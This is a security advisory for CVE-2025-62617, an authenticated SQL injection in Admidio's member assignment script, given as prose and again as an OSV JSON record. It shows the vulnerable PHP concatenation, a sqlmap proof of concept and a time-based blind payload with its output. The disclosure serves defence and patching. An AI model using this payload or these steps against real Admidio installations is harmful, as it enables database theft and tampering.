ghsa-2v5m-cq9w-fc33
Vulnerability from github
Summary
An authenticated SQL injection vulnerability exists in the member assignment data retrieval functionality of Admidio. Any authenticated user with permissions to assign members to a role (such as an administrator) can exploit this vulnerability to execute arbitrary SQL commands. This can lead to a full compromise of the application's database, including reading, modifying, or deleting all data. The vulnerability is present in the latest version, 4.3.16.
Details
The vulnerability is located in the adm_program/modules/groups-roles/members_assignment_data.php script. This script handles an AJAX request to fetch a list of users for role assignment. The filter_rol_uuid GET parameter is not properly sanitized before being used in a raw SQL query.
File: adm_program/modules/groups-roles/members_assignment_data.php
```php
// ...
// The parameter is retrieved from the GET request without sufficient sanitization for SQL context.
$getFilterRoleUuid = admFuncVariableIsValid($_GET, 'filter_rol_uuid', 'string');
$getMembersShowAll = admFuncVariableIsValid($_GET, 'mem_show_all', 'bool', array('defaultValue' => false));
// ... $filterRoleCondition = ''; if ($getMembersShowAll) { $getFilterRoleUuid = 0; } else { // show only members of current organization if ($getFilterRoleUuid !== '') { // VULNERABLE CODE: $getFilterRoleUuid is directly concatenated into the query string. $filterRoleCondition = ' AND rol_uuid = \''.$getFilterRoleUuid . '\''; } }
// ... // The vulnerable $filterRoleCondition is then used inside a subselect. $sqlSubSelect = '(SELECT COUNT(*) AS count_this FROM '.TBL_MEMBERS.' INNER JOIN '.TBL_ROLES.' ON rol_id = mem_rol_id INNER JOIN '.TBL_CATEGORIES.' ON cat_id = rol_cat_id WHERE mem_usr_id = usr_id AND mem_begin <= \''.DATE_NOW.'\' AND mem_end > \''.DATE_NOW.'\' '.$filterRoleCondition.' AND rol_valid = true AND cat_name_intern <> \'EVENTS\' AND cat_org_id = '.$gCurrentOrgId.')'; // ... ```
As shown above, the value of $getFilterRoleUuid is directly concatenated into the $filterRoleCondition variable, which is then embedded within a larger SQL query ($sqlSubSelect). This allows an attacker to break out of the string literal and inject arbitrary SQL commands.
PoC (Proof of Concept)
Prerequisites: 1. A running instance of Admidio (tested on version 4.3.16). 2. An authenticated user session with permissions to assign members to a role (e.g., the default 'admin' user).
Execution:
The vulnerability can be triggered by manipulating the filter_rol_uuid parameter in the request to /adm_program/modules/groups-roles/members_assignment_data.php. Due to the large number of parameters, the easiest way to reproduce this is by capturing a legitimate request and replaying it with sqlmap.
- Log in to Admidio as an administrator.
- Navigate to
Groups / Roles. - Click the "Assign members" icon for any existing role.
- Using a web proxy like Burp Suite, intercept the GET request made to
/adm_program/modules/groups-roles/members_assignment_data.php. - Save the entire raw request to a text file (e.g.,
admidio_request.txt). - Run the following
sqlmapcommand to confirm the time-based blind SQL injection:
bash
sqlmap -r /path/to/admidio_request.txt -p filter_rol_uuid --technique=T --dbms=mysql --current-db
Result:
sqlmap will successfully identify and exploit the time-based blind SQL injection vulnerability.
```
Parameter: filter_rol_uuid (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: role_uuid=...&filter_rol_uuid=' AND (SELECT 3332 FROM (SELECT(SLEEP(5)))vqnl) AND 'ENdG'='ENdG&...
[INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [INFO] fetching current database [INFO] retrieved: admidio current database: 'admidio' ``` This confirms that an attacker can execute arbitrary SQL queries and extract information from the database.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.3.16"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62617"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-22T16:46:03Z",
"nvd_published_at": "2025-10-22T22:15:34Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn authenticated SQL injection vulnerability exists in the member assignment data retrieval functionality of Admidio. Any authenticated user with permissions to assign members to a role (such as an administrator) can exploit this vulnerability to execute arbitrary SQL commands. This can lead to a full compromise of the application\u0027s database, including reading, modifying, or deleting all data. The vulnerability is present in the latest version, 4.3.16.\n\n### Details\n\nThe vulnerability is located in the `adm_program/modules/groups-roles/members_assignment_data.php` script. This script handles an AJAX request to fetch a list of users for role assignment. The `filter_rol_uuid` GET parameter is not properly sanitized before being used in a raw SQL query.\n\n**File:** `adm_program/modules/groups-roles/members_assignment_data.php`\n```php\n// ... \n// The parameter is retrieved from the GET request without sufficient sanitization for SQL context.\n$getFilterRoleUuid = admFuncVariableIsValid($_GET, \u0027filter_rol_uuid\u0027, \u0027string\u0027);\n$getMembersShowAll = admFuncVariableIsValid($_GET, \u0027mem_show_all\u0027, \u0027bool\u0027, array(\u0027defaultValue\u0027 =\u003e false));\n\n// ... \n$filterRoleCondition = \u0027\u0027;\nif ($getMembersShowAll) {\n $getFilterRoleUuid = 0;\n} else {\n // show only members of current organization\n if ($getFilterRoleUuid !== \u0027\u0027) {\n // VULNERABLE CODE: $getFilterRoleUuid is directly concatenated into the query string.\n $filterRoleCondition = \u0027 AND rol_uuid = \\\u0027\u0027.$getFilterRoleUuid . \u0027\\\u0027\u0027;\n }\n}\n\n// ...\n// The vulnerable $filterRoleCondition is then used inside a subselect.\n$sqlSubSelect = \u0027(SELECT COUNT(*) AS count_this\n FROM \u0027.TBL_MEMBERS.\u0027\n INNER JOIN \u0027.TBL_ROLES.\u0027\n ON rol_id = mem_rol_id\n INNER JOIN \u0027.TBL_CATEGORIES.\u0027\n ON cat_id = rol_cat_id\n WHERE mem_usr_id = usr_id\n AND mem_begin \u003c= \\\u0027\u0027.DATE_NOW.\u0027\\\u0027\n AND mem_end \u003e \\\u0027\u0027.DATE_NOW.\u0027\\\u0027\n \u0027.$filterRoleCondition.\u0027\n AND rol_valid = true\n AND cat_name_intern \u003c\u003e \\\u0027EVENTS\\\u0027\n AND cat_org_id = \u0027.$gCurrentOrgId.\u0027)\u0027;\n// ...\n```\n\nAs shown above, the value of `$getFilterRoleUuid` is directly concatenated into the `$filterRoleCondition` variable, which is then embedded within a larger SQL query (`$sqlSubSelect`). This allows an attacker to break out of the string literal and inject arbitrary SQL commands.\n\n### PoC (Proof of Concept)\n\n**Prerequisites:**\n1. A running instance of Admidio (tested on version 4.3.16).\n2. An authenticated user session with permissions to assign members to a role (e.g., the default \u0027admin\u0027 user).\n\n**Execution:**\nThe vulnerability can be triggered by manipulating the `filter_rol_uuid` parameter in the request to `/adm_program/modules/groups-roles/members_assignment_data.php`. Due to the large number of parameters, the easiest way to reproduce this is by capturing a legitimate request and replaying it with `sqlmap`.\n\n1. Log in to Admidio as an administrator.\n2. Navigate to `Groups / Roles`.\n3. Click the \"Assign members\" icon for any existing role.\n4. Using a web proxy like Burp Suite, intercept the GET request made to `/adm_program/modules/groups-roles/members_assignment_data.php`.\n5. Save the entire raw request to a text file (e.g., `admidio_request.txt`).\n6. Run the following `sqlmap` command to confirm the time-based blind SQL injection:\n\n```bash\nsqlmap -r /path/to/admidio_request.txt -p filter_rol_uuid --technique=T --dbms=mysql --current-db\n```\n\n**Result:**\n`sqlmap` will successfully identify and exploit the time-based blind SQL injection vulnerability.\n\n```\n---\nParameter: filter_rol_uuid (GET)\n Type: time-based blind\n Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\n Payload: role_uuid=...\u0026filter_rol_uuid=\u0027 AND (SELECT 3332 FROM (SELECT(SLEEP(5)))vqnl) AND \u0027ENdG\u0027=\u0027ENdG\u0026...\n---\n[INFO] the back-end DBMS is MySQL\nback-end DBMS: MySQL \u003e= 5.0.12\n[INFO] fetching current database\n[INFO] retrieved: admidio\ncurrent database: \u0027admidio\u0027\n```\nThis confirms that an attacker can execute arbitrary SQL queries and extract information from the database.",
"id": "GHSA-2v5m-cq9w-fc33",
"modified": "2025-10-23T17:40:23Z",
"published": "2025-10-22T16:46:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-2v5m-cq9w-fc33"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62617"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/commit/fde81ae869e88a3cf42201f2548d57df785a37cb"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Admidio Vulnerable to Authenticated SQL Injection in Member Assignment Functionality"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.